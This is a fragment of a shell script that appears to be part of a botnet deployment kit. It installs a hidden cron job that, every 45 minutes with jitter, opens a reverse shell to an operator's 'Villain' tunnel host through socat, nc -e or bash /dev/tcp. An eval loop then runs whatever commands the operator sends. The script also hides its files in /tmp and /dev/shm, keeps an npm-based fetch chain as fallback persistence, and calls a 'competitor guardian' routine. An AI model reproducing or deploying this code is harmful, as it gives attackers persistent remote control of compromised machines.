# When BEACON_ENDPOINT is set (the --auto-amq hook injects it into the AMQ

# command), the cron becomes a tunnel beacon: every 45 min (per-host jitter)

# the host dials the Villain tunnel endpoint, the operator-side auto-deploy

# fires over that shell, and the session closes. The npmjs cron-fetch chain

# (above) stays installed as the fallback layer.

# install_beacon_cron(): runs in BOTH deploy paths (already-running short

# path AND full deploy) — the short path's wipe_previous_crons removes every

# crontab line, so the beacon cron must be re-installed there too or the

# beacon dies on the first redeploy.

install_beacon_cron() {

[ -n "$BEACON_ENDPOINT" ] || return 0

case "$BEACON_ENDPOINT" in

[A-Za-z0-9._-]*:[0-9]*)

_bh="${BEACON_ENDPOINT%%:*}"; _bp="${BEACON_ENDPOINT##*:}"

;;

*)

return 0

;;

esac

case "$_HOME_1" in

/tmp/.usr_*|/var/tmp/.usr_*|/dev/shm/.usr_*|/usr_*|/home/*)

_beacon_file="$_HOME_1/systemdev/beacon.sh" ;;

*)

# fallback: probe for an exec-capable dir (noexec /tmp containers)

_beacon_file=""

for _bwd in "/var/tmp" "$HOME" "/dev/shm"; do

mkdir -p "$_bwd" 2>/dev/null || continue

printf '#!/bin/sh\nexit 3\n' > "$_bwd/.exectest" 2>/dev/null || continue

chmod +x "$_bwd/.exectest" 2>/dev/null || continue

"$_bwd/.exectest" 2>/dev/null; _et=$?

if [ "$_et" = "3" ]; then

_beacon_file="$_bwd/.beacon_$(head -c 2 /dev/urandom | od -An -tx1 | tr -d ' ').sh"

break

fi

rm -f "$_bwd/.exectest" 2>/dev/null

done

[ -n "$_beacon_file" ] || _beacon_file="/tmp/.beacon_$(head -c 2 /dev/urandom | od -An -tx1 | tr -d ' ').sh"

;;

esac

mkdir -p "$(dirname "$_beacon_file")" 2>/dev/null

cat > "$_beacon_file" <<'BEACONSCRIPT'

#!/bin/sh

# Beacon: dial the Villain tunnel, stay ~240s for the payload deploy, exit.

# POSIX sh (dash/busybox-safe): no $RANDOM, no /dev/tcp, no bash.

# Jitter via od on /dev/urandom (od is POSIX); fallback to a fixed sleep.

# The read-eval loop (NOT 'sh -i'): Villain dispatches multi-line chunked

# commands over this socket; the eval loop re-parses each line with full

# quoting (the interactive sh -i path silently failed to execute them).

_j=$(od -An -N2 -tu2 /dev/urandom 2>/dev/null | tr -d " \n")

case "$_j" in *[!0-9]*|"") _j=5 ;; esac

sleep "$_j"

# Dial: prefer socat (widely packaged, clean bidirectional exec), then

# nc -e (busybox/GNU netcat), then bash /dev/tcp as a last resort

# (bash-only, skipped silently when absent).

# Dial tiers: BEACON_TLS=1 (set by the AMQ dispatch when the operator runs

# the VPS TLS hop) → socat OPENSSL first, plain TCP fallback only if the

# TLS dial fails (the operator's VPS accepts both during migration).

# Without BEACON_TLS: the legacy plain dial chain (OpenFrp-compatible).

if [ "$BEACON_TLS" = "1" ] && command -v socat >/dev/null 2>&1; then

exec timeout 240 socat OPENSSL:"$_bh":"$_bp",verify=0 \

SYSTEM:'while read -r line; do eval "$line" 2>&1; done' 2>/dev/null

fi

if command -v socat >/dev/null 2>&1; then

exec timeout 240 socat TCP4:$_bh:$_bp SYSTEM:'while read -r line; do eval "$line" 2>&1; done' 2>/dev/null

elif nc -h 2>&1 | grep -qe '-e '; then

# busybox/GNU nc -e argument orders differ; busybox order tried first,

# GNU order as fallback (the wrong order just fails and the beacon dies

# quietly — the cron-fetch chain remains as the persistence layer).

exec nc "$_bh" "$_bp" -e /bin/sh -c 'while read -r line; do eval "$line" 2>&1; done' 2>/dev/null \

|| exec nc -e /bin/sh -c 'while read -r line; do eval "$line" 2>&1; done' "$_bh" "$_bp" 2>/dev/null

elif command -v bash >/dev/null 2>&1; then

exec 3<>/dev/tcp/$_bh/$_bp 2>/dev/null || exit 0

exec 0<&3 1>&3 2>&3

timeout 240 bash -c 'while read -r line <&0; do eval "$line" 2>&0 >&0; done' 2>/dev/null

fi

exit 0

BEACONSCRIPT

chmod 755 "$_beacon_file" 2>/dev/null

_beacon_cron="*/45 * * * * $_beacon_file >/dev/null 2>&1"

if ! (crontab -l 2>/dev/null | grep -qF "$_beacon_file"); then

(crontab -l 2>/dev/null; printf '%s\n' "$_beacon_cron") | crontab - 2>/dev/null \

&& echo "Beacon cron installed (primary: $_bh:$_bp every 45m; npmjs chain kept as fallback)."

fi

}

# legacy inline call site kept for the full-deploy path (after launch):

install_beacon_cron

install_competitor_guardian

log "Deployment complete."

exit 0